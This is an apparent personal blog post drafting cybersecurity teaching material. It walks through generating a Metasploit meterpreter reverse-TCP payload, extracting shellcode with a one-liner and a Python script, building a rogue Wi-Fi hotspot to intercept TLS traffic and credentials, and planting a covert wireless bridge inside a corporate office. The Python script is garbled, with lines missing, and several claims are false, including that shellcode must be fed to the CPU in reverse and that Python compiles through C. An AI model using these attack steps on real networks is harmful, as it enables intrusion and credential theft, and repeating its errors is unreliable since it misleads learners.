Working on my Casting Call

Cybrary has thought of me as a candidate for a instructor!

Screenshot from 2019-03-26 17-34-38.png

I am excited to announce that from a email I just received this morning, that I am being considered for a interview to become a Cybersecurity Instructor in Cybrary.

Right now I am busy determining what should I say during my audition video. I want to teach something, and I think I will get my curriculum done here on this blog so I can simply read off of it when recording.

Exploit “Shellcode” is actually just Assembly Opcodes fed back into the CPU in reverse

So what is this magical, coveted, ever-so-desirable, shellcode? Why clearly, it’s the exploit! Its the message you send to your target’s open port or buffer and it represents some sort of MAGICAL command that’ll allow you to perform remote command execution. Right?!?

But how, and where does shellcode come from? And why do we have to generate new shellcode for each target? And what are bad bytes?

Let’s first start off by deconstructing a ELF binary payload

Generate one with Metasploit

  1. msfdb start && msfconsole
  2. use payload/linux/x86/meterpreter_reverse_tcp
  3. set lhost
  4. set lport 4444
  5. generate -f elf -o /root/test.elf

Now dump the Assembly Opcode instructions, objdump -D /root/test.elf and you should see this

Screenshot from 2019-03-26 15-36-29.png

Each digit in shellcode represents a Assembly “Opcode” which are machine language instructions for your processor’s architecture and instruction set. They can represent specific processor instructions such as CALL (calling a function), CMP (compare two values and make a decision, a if-statement), PUSH (pushing a value of a memory address onto the stack), SUB (perform a subtraction operation), or POP (pops the value of a memory address off of the stack and immediately pushes it into the register).

To make it short, shellcode is…

  1. Assembly Opcode instructions
  2. That have had both their null bytes \x00’s and any identified bad bytes removed
  3. That is converted into a string readable by the target’s CPU
  4. And these instructions are fed in REVERSE into the target’s CPU execution register

Why do we need to feed the instructions backwards? Because of the principle of how a CPU uses the stack. The stack-concept means that data or instructions are continually added to the top of the stack, and also taken, directly from the top of the stack. That means, CPU’s operate as a LIFO means of processing instructions, or Last-In First-Out.

So in order to execute our malicious shellcode correctly, it must be fed in reverse into the CPU register.

There are many more Opcode Instructions out there, including unique ones that perform multiple activities at once, but for now let’s focus on the major and easily understandable ones.

Now Assembly, is pretty much the closest thing to “readable machine language”. Each Assembly Opcode represents a instruction, and the data that it is manipulating is known as the operand. The processor’s Instruction Set defines what exactly would the CPU do with all of these Opcodes.

When you write a program, during the compilation process using gcc, the previously legible C/C++ code is stripped away of it’s unnecessary human-language references in the Preprocessing stage, and then translated into Assembly instructions understandable by the target architecture (you specify that in the compiler, are you compiling it for x86_64, ARM, etc.?) in the Compilation stage. Then a assembler converts the compiled code into a .o format object file in the Assembly stage. Finally, because we at this point would have ended up with several .o object files, they need to be linked together into a single binary during the Linking stage. Any references to external library functions in C is also added during the Linking stage.

So what happens if you use a higher level programming language? Like Python? Well if you havn’t noticed, Python is in fact a abstraction built on top of C (primarily), just like many other languages are. When you run a .py file, you have a equivalent C-language file temporarily created as a .pyc file in the same directory. If you were to use pyinstaller to generate a ELF binary, it first would work it’s way down from Python, back to C, back to Assembly, back to Linked Object Files and back to a ELF binary.

Let’s analyze the default Rapid7 Linux Meterpreter a bit more.

First, let’s dump all of the informative headers, objdump -x /root/test.elf and you should see something like this

Screenshot from 2019-03-26 15-47-23.png

This entire first section merely describes the binary and identifies itself as a ELF executable when it is subjected to the File command. It also lays out the relative memory addresses that the process is allocated to start in.

Here is something interesting, note that the columns VMA and LMA stands for Virtual Memory Addresses and Logical Memory Addresses respectively.

Screenshot from 2019-03-26 15-49-51.png

The rows labeled READONLY contain text that can be revealed via the Strings command, which would help divulge on the nature of the binary and whether or not its malicious (it is).

Screenshot from 2019-03-26 15-53-31.png

Here we located the Meterpreter HTTP Transport section of the code, despite us generating a TCP shell, all Meterpreter RATs have the ability to reconfigure and change their transports (to switch from TCP to HTTPS for example).

Screenshot from 2019-03-26 15-54-13.png

Here we have located the optional SSL/TLS authentication portion of the binary’s code. As you can see, Meterpreter is designed with the option of validating both the authenticity of the operator, but also the authenticity of the shell session (just in case you are getting reverse pentested you know).

Let’s make a shellcode generator

In fact, using our new knowledge of what shellcode is, we can even make a static shellcode generator in Python and Bash, so it can be converted into a string ready to be transmitted to your target.

We will first manually generate shellcode and then we will write a Python script to do it for us

Let’s convert our test Meterpreter payload back into directly usable shellcode. I would have written more for this article but it seems this other guy got the concept perfectly down on generating perfect shellcode.

target=/root/test.elf && objdump -d $target | grep -Po ‘\s\K[a-f0-9]{2}(?=\s)’ | sed ‘s/^/\\x/g’ | perl -pe ‘s/\r?\n//’ | sed ‘s/$/\n/’

Finally you can use my handmade shellcode generator available on GitHub

You can either Git clone the actual copy or you can manually code it yourself from the source code I left behind right here.

import subprocess, threading, os, sys, operator

# Generates shellcode from C and Python files

def bash_cmd(cmd):

def popen_subprocess(cmd):
p = subprocess.Popen(
o =
output = str(o.encode('utf-8')).strip().rstrip()
return output

def Reverse(buffer):
# shellcode = buffer[::-1]
shellcode = list(reversed(buffer))
return shellcode

def main():

# how to use

if len(sys.argv) != 2:
print "-----------------------\r\nUsage:\r\npython code.c\r\nor\r\npython"

infile = sys.argv[1]
n = infile.split('.')
filenoext = n[0]
# if file ends with .py

if infile.endswith(".py"):
print "-----------------------\r\ file detected, converting to C language using Cython"
cmd = "cython {}".format(str(infile))
infile = filenoext + '.c'

# if file ends with .c

cmd = "gcc {} -o {}".format(str(infile),str(filenoext))
print "-----------------------\r\nCompiling to executable using gcc\r\n" + str(cmd)


# commands in /bin/bash to eliminate null bytes and generate formatted shellcode
cmd = """objdump -d {} | tr "\t" " " | tr " " "\n" | egrep "^[0-9a-f]{{2}}$" | grep -v 00""".format(str(filenoext))
print "-----------------------\r\nUsing objdump to dump significant opcodes and eliminating nullbytes\r\n"+str(cmd)

# for i in $purgenullbytes:
# do echo -n "\\x$i"
# done""".format(str(filenoext))

out = popen_subprocess(cmd)
outw = open("out",'w')

r = open("out",'r')
l = r.readlines()
# print l
# l = out.split()
m = []
for i in l:
i = i.replace('\n','')
# i = "\\x" + str(i)
# print m

# for i in m:
# buffer = ''.join(i)
# buffer = ''.join(m)
buffer = m
# print buffer
# reverse the assembly code to make injectable LIFO assembly opcodes

print "-----------------------\r\nReversing buffer into usable shellcode"
shellcode = Reverse(buffer)
scl = []
for i in shellcode:
i = '\\x' + str(i)
sc = ''.join(scl)

print "-----------------------\r\nShellcode generated! Enter into EIP/RIP Register for execution.\r\n\n\n"
print sc

w = open("shellcode.asm","w")

print "-----------------------\r\nShellcode saved as shellcode.asm"

It takes no more than $35 to build a dream hacking machine, I am referring to a stock Raspberry Pi.

Allow me to demonstrate this for you, by… using a $35 Raspberry Pi generate a rogue hotspot as a wireless attack, that will also issue fake SSL/TLS certificates so we can man-in-the-middle traffic as it comes off the wire

We will need…

  1. Mana-toolkit to easily manage the other services
  2. HostAPD to generate the access point
  3. udhcpd, which is the RPi’s repo’s version of a DHCP Daemon
  4. dnsmasq, to provide DNS services
  5. tcpdump, for packet capturing
  6. tcpxtract, for recovering data and binaries downloaded from your hotspot
  7. Apache Tomcat 8, webserver to serve phishing pages and also that supports Java applets and full featured web applications (This is NOT Apache2.0, you install this with apt-get install tomcat8)
  8. sslstrip, to decrypt traffic using our shared keys we tricked them with
  9. sslsplit, to prevent the encryption of traffic in the first place
  10. squid proxy, it must be compiled from scratch to use the SSL-Bump feature
  11. iptables, to redirect frames sourcing from ports 80 and 443 into Squid for interception
  12. macchanger, to conceal your real broadcast MAC address
  13. hostnamectl, to change your hostname to something less suspicious
  14. arpspoof, held on in the event that I need to seize control of the gateway
  15. dnsspoof, to beat potential race-conditions (when other hackers are attempting to redirect DNS requests too)
  16. dnschef, to act as a malicious DNS redirect service
  17. mitmf, held on reserve for other hacking abilities (do not use it immediately, some features like spoofing can completely disrupt the rogue AP’s ability to collect credentials)
  18. Metasploit’s msfconsole is optional as the karmetasploit.rc script is prone to failure and there are much better ways of mitm and pulling credentials off the wire

You can make a ethernet card and a wireless card talk to each other using a Proxy ARP Daemon

The concept is called a Proxy ARP Bridge, and all it requires is the installation of parprouted, apt-get update && apt-get install -y parprouted

Now, let’s make things interesting and make TWO wireless cards talk to each other from TWO different wireless networks. And you will be able to ping the individual hosts and gateways seamlessly (or hack them).

Buy yourself one (or two) USB wifi dongles from Fry’s Electronics. Plug them in and find out their NIC names with ifconfig -a

Usually, for Kali Linux, the wireless cards are named in the order they appear on boot. So your first external wifi card is wlan1 and your second wireless card is wlan2 and your internal wireless card is wlan0 (I decided to forget about using the internal wireless card due to notorious driver issues with Linux preventing many of them from working properly in laptops).

Connect both wireless cards to your laptop and first check out the documentation for parprouted

root@Slayer-Ranger:~/Downloads# parprouted -h
parprouted: proxy ARP routing daemon, version 0.7.
(C) 2007 Vladimir Ivaschenko <>, GPL2 license.
Usage: parprouted [-d] [-p] interface [interface]

parprouted is simple to use, it is simply parprouted wlan1 wlan2 and optionally you can add -d for debugging information, and we will go over the -p option later as we encounter cyber threats roaming around.

Screenshot from 2019-03-26 18-22-40.png

As you can see, parprouted, also known as Proxy ARP Routing Daemon, creates a dynamic, constantly-refreshing ARP table as network traffic is detected on each interface (much like a packet sniffer).

parprouted then automatically forwards frames addressed to each host like a dumb relay. It is this software daemon interacting with two NICs that allow hosts on both network cards to ping each other.

Here is a tip, to quickly fill up your dynamic ARP table (so they are pingable as soon as possible) use arp-scan on each interface, arp-scan –interface=wlan1 -l && arp-scan –interface=wlan2 -l

Screenshot from 2019-03-26 18-23-07.png

This is a invaluable tool for penetration testers attacking a fortified corporate headquarters that has strict BYOD (bring your own device) policies and no public hotspots and a hardened ethernet-only corporate network.

  1. First, send a physical penetration testing team to break into the offices
  2. Find a workstation that is left online that can run parprouted (has to be Linux, but Windows can use netsh instead)
  3. Insert a spare wireless card behind the workstation, and run hostapd, dnsmasq, udhcpd, and parprouted eth0 wlan0
  4. Now you have a personal wireless hotspot you can use as a launchpad for further pentesting assaults within the organization, remotely

At this point, just get back into your car and point your parabolic or yagi antenna at the hotspot, log back in, and start hacking!

You have just added a remote entry point in what was originally a Cyber Fort Knox.

Now lets talk about the -p option. But first, the dangers of operating a Proxy ARP Bridge…

  1. The parprouted daemon is particularly blind
  2. The daemon’s services can be crashed by spamming a specific request from reacting incident response teams
  3. If they spam bogus ARP requests and replies, the daemon will continue to forward them, but it will return as unreceivable, causing the daemon to forward them again
  4. Eventually this loop will bog down the daemon and crash the process

To defend against this, parprouted has the -p option, or permanent table entries.

  1. It can no longer add new entries to the table
  2. Nor can it delete entries from the table

However, if the table has already been filled with legitimate hosts and gateways, the daemon is now immune to the ARP-spam one-shot technique.

Web Application injection flaws only require a base understanding of programming syntax


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s